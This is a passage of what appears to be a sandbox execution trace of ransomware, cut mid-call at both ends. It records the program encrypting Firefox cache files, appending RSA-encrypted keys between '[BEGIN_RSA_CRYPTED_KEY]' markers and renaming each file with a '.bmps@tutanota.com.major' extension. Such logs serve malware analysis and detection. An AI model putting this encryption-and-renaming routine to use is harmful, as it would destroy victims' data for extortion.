lpNumberOfBytesRead=0x2e3f9b4*=0x5e5d, lpOverlapped=0x0) returned 1 [0266.370] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-24157, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.370] WriteFile (in: hFile=0x1b84, lpBuffer=0x3540048*, nNumberOfBytesToWrite=0x5e5d, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3540048*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5e5d, lpOverlapped=0x0) returned 1 [0266.371] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5e5d [0266.371] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0266.371] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0266.372] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0266.372] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0266.372] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0266.372] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="4i2yKk1ttwk+4i7Z9lMzVx9+BJtV1Y1paH6Uz0nPt2RHdshQnTcyD7UcioCQ8K8D\nRcZM2r156YNFfPupOvtVbXJdPG26cTqCm9a785i1JfFQ8ty5Y8A05W6ZPU3HjKTt\nlLiFhIFCkLDNDwn1K20TUjfqo/VPdvjJQJ4RGuiULjU4dUPWhqVqD9+n1gOtv1Aw\n1cxWc+O+IN6hhUW9WNavHW3bgsOdNMox+0GJD0C3ZcdvIVLoLe8Kq+M1SRzJoX2C\ndVjUBy74OPJc4nOgF5Z35x0ejF/5mWfIuGS6dTEzWSF4SwECviDreAgP4nsBolJw\nbqrfJvNIsAmpH6HNs2EmOA==\n", pcchString=0x2e3f9a8) returned 1 [0266.372] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0266.372] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0266.372] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0266.373] CloseHandle (hObject=0x1b84) returned 1 [0266.373] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\6F4FA43590A63EB51F16A747B6869FEA664D492D" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\6f4fa43590a63eb51f16a747b6869fea664d492d"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\6F4FA43590A63EB51F16A747B6869FEA664D492D.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\6f4fa43590a63eb51f16a747b6869fea664d492d.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0266.375] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0266.375] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\6E737977754F860FE206E1BDA7E561C5EFCF040B", dwFileAttributes=0x80) returned 1 [0266.375] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xe27, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xe27, lpOverlapped=0x0) returned 1 [0266.376] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3623, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.376] WriteFile (in: hFile=0x1b84, lpBuffer=0x343b820*, nNumberOfBytesToWrite=0xe27, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe27, lpOverlapped=0x0) returned 1 [0266.376] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe27 [0266.376] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0266.376] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0266.377] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0266.377] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0266.377] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0266.377] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="4BTit3I+gJ4Y35vrNn8nlK0TfFAuULPgutwD3bAaDK5+1oFA2Y2jomOzjLUgONL9\nixSjfKuBzHyKS1Ruyrers1/dHMsGgZTFT+513ROaYvrvo8ZPZ/pbzjaFu92CMfQP\nMKBsTIvzOZO7IQB1Os8OJPAWD54ku9W64nckzkqKYCpvJHf/SeqFcH+tyoqLEaLI\ni0RzPR3hRXIr+qajQ5r2zMeBW07jYTcNyZiDEuzn595su2mWOixL1TZ5qTNxuHuC\nm6bzSlug4IXPOvFI6/DwV1+g8Kyfakd5WuR4ikkIDOfPeJrOi70Iz1D2mcfUBbPO\nT2d3g548gJpEUBSY7ey7Mg==\n", pcchString=0x2e3f9a8) returned 1 [0266.377] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0266.377] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0266.377] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0266.378] CloseHandle (hObject=0x1b84) returned 1 [0266.378] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\6E737977754F860FE206E1BDA7E561C5EFCF040B" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\6e737977754f860fe206e1bda7e561c5efcf040b"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\6E737977754F860FE206E1BDA7E561C5EFCF040B.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\6e737977754f860fe206e1bda7e561c5efcf040b.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0266.379] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0266.379] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\6E70D64994FC50847D02A3C844407DE8C2A71039", dwFileAttributes=0x80) returned 1 [0266.380] ReadFile (in: hFile=0x1b84, lpBuffer=0x66e948, nNumberOfBytesToRead=0x528, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x66e948*, lpNumberOfBytesRead=0x2e3f9b4*=0x528, lpOverlapped=0x0) returned 1 [0266.448] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-1320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.449] WriteFile (in: hFile=0x1b84, lpBuffer=0x2f3e850*, nNumberOfBytesToWrite=0x528, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f3e850*, lpNumberOfBytesWritten=0x2e3f9b4*=0x528, lpOverlapped=0x0) returned 1 [0266.449] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x528 [0266.449] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0266.449] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0266.450] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0266.450] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0266.450] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0266.450] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="Ts3D6VtIBK0qcxYqcJHy/AMkPlYPWLwH3tlhv7A286Y4Q+YTCtDs1p7yMkLE/Jud\nqJAcgrooJJvaL0vsO7rs+MAvhx2+Pu3N3blZjTAYF0+aQxoOiIj1ymgxLULPmazS\nfwelNUZWuuPrXNW8bIEsrfsyxabZlo313kS6YpDYsaesRqslbtWVKgDgxIVWUP1o\nwSS2AXKJTGNlGFMIQ0IOJ6h5lqeS8SMelL+zMtsBLM8xJahTfX+kRSx0hAcTN9wb\n8XUHq6OCPIC+Jw0qRKquRkxuXMoDfUcWD5ZlA4WU/gRcTxBjC/B5jp6ptaaWLs42\n8itb8Al474mfM0RcLCKPPA==\n", pcchString=0x2e3f9a8) returned 1 [0266.451] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0266.451] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0266.451] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0266.451] CloseHandle (hObject=0x1b84) returned 1 [0266.451] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\6E70D64994FC50847D02A3C844407DE8C2A71039" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\6e70d64994fc50847d02a3c844407de8c2a71039"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\6E70D64994FC50847D02A3C844407DE8C2A71039.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\6e70d64994fc50847d02a3c844407de8c2a71039.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0266.454] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0266.454] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\6BFE0EB337F328928E30DD51C1084B7FD4937D99", dwFileAttributes=0x80) returned 1 [0266.454] ReadFile (in: hFile=0x1b84, lpBuffer=0x3446048, nNumberOfBytesToRead=0xe14, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3446048*, lpNumberOfBytesRead=0x2e3f9b4*=0xe14, lpOverlapped=0x0) returned 1 [0266.515] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-3604, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.516] WriteFile (in: hFile=0x1b84, lpBuffer=0x343b820*, nNumberOfBytesToWrite=0xe14, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesWritten=0x2e3f9b4*=0xe14, lpOverlapped=0x0) returned 1 [0266.516] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xe14 [0266.516] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0266.516] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0266.517] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0266.517] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0266.517] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0266.517] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="tkwYiDQ9/fdBO89+HFVugq8lN00S69JCChq4VCSY8aiPXtp2RCiZgg5dzh071YOY\nNprxIIEmpxwmXskZyMXFbACpvD5QNDOIxdWIYV22P34MLrcWCJyfLvi4+m+jOvfy\nN2qp7UhY913IN88PZ9fvRR6tzrFzP1CI2jGAX3sIMUXtZjnJJ0abnGze0P4yZ0AR\nvlMxNP/Av1xMDdbKif806OR8w2BuO7Mw6w5fjB0NkaR53+3+yI9sV7Z8p6eG+47w\nK3SN1mY2u1jVTxI+W98V00AgEDHNLkCRokmjmORQTuIkw7dkC6YYeKcSUprAgeHF\nfJpY5+qyFP4r4rrKplPkrQ==\n", pcchString=0x2e3f9a8) returned 1 [0266.517] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0266.518] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0266.518] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0266.518] CloseHandle (hObject=0x1b84) returned 1 [0266.518] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\6BFE0EB337F328928E30DD51C1084B7FD4937D99" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\6bfe0eb337f328928e30dd51c1084b7fd4937d99"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\6BFE0EB337F328928E30DD51C1084B7FD4937D99.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\6bfe0eb337f328928e30dd51c1084b7fd4937d99.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0266.524] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0266.524] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\6B59D88F10856ABB980993D7332F49AB71BD33B8", dwFileAttributes=0x80) returned 1 [0266.525] ReadFile (in: hFile=0x1b84, lpBuffer=0x343b820, nNumberOfBytesToRead=0x155c, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesRead=0x2e3f9b4*=0x155c, lpOverlapped=0x0) returned 1 [0266.564] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-5468, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.564] WriteFile (in: hFile=0x1b84, lpBuffer=0x343cd88*, nNumberOfBytesToWrite=0x155c, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343cd88*, lpNumberOfBytesWritten=0x2e3f9b4*=0x155c, lpOverlapped=0x0) returned 1 [0266.565] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x155c [0266.565] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0266.565] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0266.565] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0266.565] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0266.566] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0266.566] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="woLx/x2fhT7coecVb5nh27b3UZ5/w/8j0RPHTvEdxdM5Z0TLfKN+eMRzUP1nUZxZ\n4WV7InedJOdQZDZp3q1yHsQSyT+IY9ZDfhR1JiYtEYtos8khOrmEn+aH21l33QLW\n91PXIkqFPNPyTYkPIvcgkiufGpjqF8gDm8hLJzdeVQDH9nPzk1OyZegTTnKNcNgb\n5bxqSlPpGiy90d9IypvrXhjC5K4CRLi/O1ZZCafR15B9Fe085W7BQQzRGMXRLUSg\nmdT6kMt8NtSl1H3RXrty/yvk5pxgBchVxZm+QfkSE2tZhOZXza6CA2mS6pBoT6/Y\nYz9xUCxP6ePJx3uiuz6tsg==\n", pcchString=0x2e3f9a8) returned 1 [0266.566] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0266.566] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0266.566] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0266.566] CloseHandle (hObject=0x1b84) returned 1 [0266.567] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\6B59D88F10856ABB980993D7332F49AB71BD33B8" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\6b59d88f10856abb980993d7332f49ab71bd33b8"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\6B59D88F10856ABB980993D7332F49AB71BD33B8.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\6b59d88f10856abb980993d7332f49ab71bd33b8.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0266.569] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0266.569] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\698AC159A6BCBA0D13FE6F10F1A38E498F826F33", dwFileAttributes=0x80) returned 1 [0266.569] ReadFile (in: hFile=0x1b84, lpBuffer=0x3540048, nNumberOfBytesToRead=0xd2f5, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3540048*, lpNumberOfBytesRead=0x2e3f9b4*=0xd2f5, lpOverlapped=0x0) returned 1 [0266.999] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=-54005, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0266.999] WriteFile (in: hFile=0x1b84, lpBuffer=0x354d348*, nNumberOfBytesToWrite=0xd2f5, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x354d348*, lpNumberOfBytesWritten=0x2e3f9b4*=0xd2f5, lpOverlapped=0x0) returned 1 [0267.000] SetFilePointer (in: hFile=0x1b84, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xd2f5 [0267.000] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0267.000] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0267.001] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0267.001] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0267.001] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0267.001] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="HIQcnx5DHEeKaMv1l8dZM+hcq0kRdSrG7kArgnWImvxUfBqdnfb7CzLXoHBefcNw\n2M1WL27ornm7I2AvLZJp+6sWe7bx5UyMPAqA6q1ZnEbSbillTJztZ5TARX+WJq9T\nBA5ujRRGkhZb1UasK8OWm2eBLFtea+5im4BotED+DAx0t+RrzBeGgiL9vQvmN1qY\nQ0sjMyQmq2FB06L2VDLB+Yxync1w0SXKLK/jORdAzNnjcyno/2ehs+ERdQqTF9HP\ncc90DERH/NbtarRXiLbL1ocQlRcd6hxhQ1Fa0yg3B0ipNKCDnCwpi4GF0b8YV5qI\ns/RiLqw+I70DEO/nFc/FOA==\n", pcchString=0x2e3f9a8) returned 1 [0267.001] WriteFile (in: hFile=0x1b84, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0267.001] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0267.001] WriteFile (in: hFile=0x1b84, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0267.002] CloseHandle (hObject=0x1b84) returned 1 [0267.002] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cache2\\entries\\698AC159A6BCBA0D13FE6F10F1A38E498F826F33" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cache2\\entries\\698ac159a6bcba0d13fe6f10f1a38e498f826f33"), 